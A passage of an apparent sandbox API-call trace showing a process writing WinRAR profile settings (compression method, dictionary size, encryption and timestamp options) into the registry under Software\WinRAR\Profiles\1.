lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.231] RegSetValueExW (in: hKey=0x164, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.231] RegCloseKey (hKey=0x164) returned 0x0 [0052.231] GetLastError () returned 0x0 [0052.231] SetLastError (dwErrCode=0x0) [0052.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.231] RegSetValueExW (in: hKey=0x164, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.231] RegCloseKey (hKey=0x164) returned 0x0 [0052.231] GetLastError () returned 0x0 [0052.231] SetLastError (dwErrCode=0x0) [0052.231] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.231] RegSetValueExW (in: hKey=0x164, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.231] RegCloseKey (hKey=0x164) returned 0x0 [0052.231] GetLastError () returned 0x0 [0052.232] SetLastError (dwErrCode=0x0) [0052.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.232] RegSetValueExW (in: hKey=0x164, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.232] RegCloseKey (hKey=0x164) returned 0x0 [0052.232] GetLastError () returned 0x0 [0052.232] SetLastError (dwErrCode=0x0) [0052.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.232] RegSetValueExW (in: hKey=0x164, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0xfffffffd, cbData=0x4 | out: lpData=0x18b058*=0xfffffffd) returned 0x0 [0052.232] RegCloseKey (hKey=0x164) returned 0x0 [0052.232] GetLastError () returned 0x0 [0052.232] SetLastError (dwErrCode=0x0) [0052.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.232] RegSetValueExW (in: hKey=0x164, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.232] RegCloseKey (hKey=0x164) returned 0x0 [0052.232] GetLastError () returned 0x0 [0052.232] SetLastError (dwErrCode=0x0) [0052.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.232] RegSetValueExW (in: hKey=0x164, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.232] RegCloseKey (hKey=0x164) returned 0x0 [0052.232] GetLastError () returned 0x0 [0052.232] SetLastError (dwErrCode=0x0) [0052.232] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.232] RegSetValueExW (in: hKey=0x164, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.233] RegCloseKey (hKey=0x164) returned 0x0 [0052.233] GetLastError () returned 0x0 [0052.233] SetLastError (dwErrCode=0x0) [0052.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.233] RegSetValueExW (in: hKey=0x164, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.233] RegCloseKey (hKey=0x164) returned 0x0 [0052.233] GetLastError () returned 0x0 [0052.233] SetLastError (dwErrCode=0x0) [0052.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.233] RegSetValueExW (in: hKey=0x164, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x5, cbData=0x4 | out: lpData=0x18b058*=0x5) returned 0x0 [0052.233] RegCloseKey (hKey=0x164) returned 0x0 [0052.233] GetLastError () returned 0x0 [0052.233] SetLastError (dwErrCode=0x0) [0052.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.233] RegSetValueExW (in: hKey=0x164, lpValueName="DictSizeLZ", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2000000, cbData=0x4 | out: lpData=0x18b058*=0x2000000) returned 0x0 [0052.233] RegCloseKey (hKey=0x164) returned 0x0 [0052.233] GetLastError () returned 0x0 [0052.233] SetLastError (dwErrCode=0x0) [0052.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.233] RegSetValueExW (in: hKey=0x164, lpValueName="DictSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.233] RegCloseKey (hKey=0x164) returned 0x0 [0052.233] GetLastError () returned 0x0 [0052.233] SetLastError (dwErrCode=0x0) [0052.233] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.234] RegSetValueExW (in: hKey=0x164, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.234] RegCloseKey (hKey=0x164) returned 0x0 [0052.234] GetLastError () returned 0x0 [0052.234] SetLastError (dwErrCode=0x0) [0052.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.234] RegSetValueExW (in: hKey=0x164, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.234] RegCloseKey (hKey=0x164) returned 0x0 [0052.234] GetLastError () returned 0x0 [0052.234] SetLastError (dwErrCode=0x0) [0052.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.234] RegSetValueExW (in: hKey=0x164, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.234] RegCloseKey (hKey=0x164) returned 0x0 [0052.234] GetLastError () returned 0x0 [0052.234] SetLastError (dwErrCode=0x0) [0052.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1897b8, lpdwDisposition=0x1897b0 | out: phkResult=0x1897b8*=0x164, lpdwDisposition=0x1897b0*=0x2) returned 0x0 [0052.234] RegSetValueExW (in: hKey=0x164, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x1 | out: lpData=0x13f26f128*) returned 0x0 [0052.234] RegCloseKey (hKey=0x164) returned 0x0 [0052.234] GetLastError () returned 0x0 [0052.234] SetLastError (dwErrCode=0x0) [0052.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.234] RegSetValueExW (in: hKey=0x164, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.234] RegCloseKey (hKey=0x164) returned 0x0 [0052.234] GetLastError () returned 0x0 [0052.234] SetLastError (dwErrCode=0x0) [0052.234] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.235] RegSetValueExW (in: hKey=0x164, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.235] RegCloseKey (hKey=0x164) returned 0x0 [0052.235] GetLastError () returned 0x0 [0052.235] SetLastError (dwErrCode=0x0) [0052.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.235] RegSetValueExW (in: hKey=0x164, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.235] RegCloseKey (hKey=0x164) returned 0x0 [0052.235] GetLastError () returned 0x0 [0052.235] SetLastError (dwErrCode=0x0) [0052.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.235] RegSetValueExW (in: hKey=0x164, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.235] RegCloseKey (hKey=0x164) returned 0x0 [0052.235] GetLastError () returned 0x0 [0052.235] SetLastError (dwErrCode=0x0) [0052.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.235] RegSetValueExW (in: hKey=0x164, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.235] RegCloseKey (hKey=0x164) returned 0x0 [0052.235] GetLastError () returned 0x0 [0052.235] SetLastError (dwErrCode=0x0) [0052.235] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.235] RegSetValueExW (in: hKey=0x164, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.235] RegCloseKey (hKey=0x164) returned 0x0 [0052.235] GetLastError () returned 0x0 [0052.235] SetLastError (dwErrCode=0x0) [0052.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.236] RegSetValueExW (in: hKey=0x164, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.236] RegCloseKey (hKey=0x164) returned 0x0 [0052.236] GetLastError () returned 0x0 [0052.236] SetLastError (dwErrCode=0x0) [0052.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.236] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.236] RegCloseKey (hKey=0x164) returned 0x0 [0052.236] GetLastError () returned 0x0 [0052.236] SetLastError (dwErrCode=0x0) [0052.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.236] RegSetValueExW (in: hKey=0x164, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.236] RegCloseKey (hKey=0x164) returned 0x0 [0052.236] GetLastError () returned 0x0 [0052.236] SetLastError (dwErrCode=0x0) [0052.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.236] RegSetValueExW (in: hKey=0x164, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.236] RegCloseKey (hKey=0x164) returned 0x0 [0052.236] GetLastError () returned 0x0 [0052.236] SetLastError (dwErrCode=0x0) [0052.236] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.236] RegSetValueExW (in: hKey=0x164, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.236] RegCloseKey (hKey=0x164) returned 0x0 [0052.236] GetLastError () returned 0x0 [0052.236] SetLastError (dwErrCode=0x0) [0052.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.237] RegSetValueExW (in: hKey=0x164, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.237] RegCloseKey (hKey=0x164) returned 0x0 [0052.237] GetLastError () returned 0x0 [0052.237] SetLastError (dwErrCode=0x0) [0052.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.237] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0052.237] RegCloseKey (hKey=0x164) returned 0x0 [0052.237] GetLastError () returned 0x0 [0052.237] SetLastError (dwErrCode=0x0) [0052.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.237] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.237] RegCloseKey (hKey=0x164) returned 0x0 [0052.237] GetLastError () returned 0x0 [0052.237] SetLastError (dwErrCode=0x0) [0052.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.237] RegSetValueExW (in: hKey=0x164, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.237] RegCloseKey (hKey=0x164) returned 0x0 [0052.237] GetLastError () returned 0x0 [0052.237] SetLastError (dwErrCode=0x0) [0052.237] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.237] RegSetValueExW (in: hKey=0x164, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.237] RegCloseKey (hKey=0x164) returned 0x0 [0052.238] GetLastError () returned 0x0 [0052.238] SetLastError (dwErrCode=0x0) [0052.238] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.238] RegSetValueExW (in: hKey=0x164, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.238] RegCloseKey (hKey=0x164) returned 0x0 [0052.238] GetLastError () returned 0x0 [0052.238] SetLastError (dwErrCode=0x0) [0052.238] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.238] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0x18b058*=0x0, cbData=0x8 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.238] RegCloseKey (hKey=0x164) returned 0x0 [0052.238] GetLastError () returned 0x0 [0052.238] SetLastError (dwErrCode=0x0) [0052.238] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.238] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.238] RegCloseKey (hKey=0x164) returned 0x0 [0052.238] GetLastError () returned 0x0 [0052.238] SetLastError (dwErrCode=0x0) [0052.238] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.238] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.238] RegCloseKey (hKey=0x164) returned 0x0 [0052.238] GetLastError () returned 0x0 [0052.238] SetLastError (dwErrCode=0x0) [0052.238] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.238] RegSetValueExW (in: hKey=0x164, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x4, cbData=0x4 | out: lpData=0x18b058*=0x4) returned 0x0 [0052.238] RegCloseKey (hKey=0x164) returned 0x0 [0052.239] GetLastError () returned 0x0 [0052.239] SetLastError (dwErrCode=0x0) [0052.239] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.239] RegSetValueExW (in: hKey=0x164, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.239] RegCloseKey (hKey=0x164) returned 0x0 [0052.239] GetLastError () returned 0x0 [0052.239] SetLastError (dwErrCode=0x0) [0052.239] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.239] RegSetValueExW (in: hKey=0x164, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.239] RegCloseKey (hKey=0x164) returned 0x0 [0052.239] GetLastError () returned 0x0 [0052.239] SetLastError (dwErrCode=0x0) [0052.239] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.239] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.239] RegCloseKey (hKey=0x164) returned 0x0 [0052.239] GetLastError () returned 0x0 [0052.239] SetLastError (dwErrCode=0x0) [0052.239] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.239] RegSetValueExW (in: hKey=0x164, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.239] RegCloseKey (hKey=0x164) returned 0x0 [0052.239] GetLastError () returned 0x0 [0052.239] SetLastError (dwErrCode=0x0) [0052.239] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, 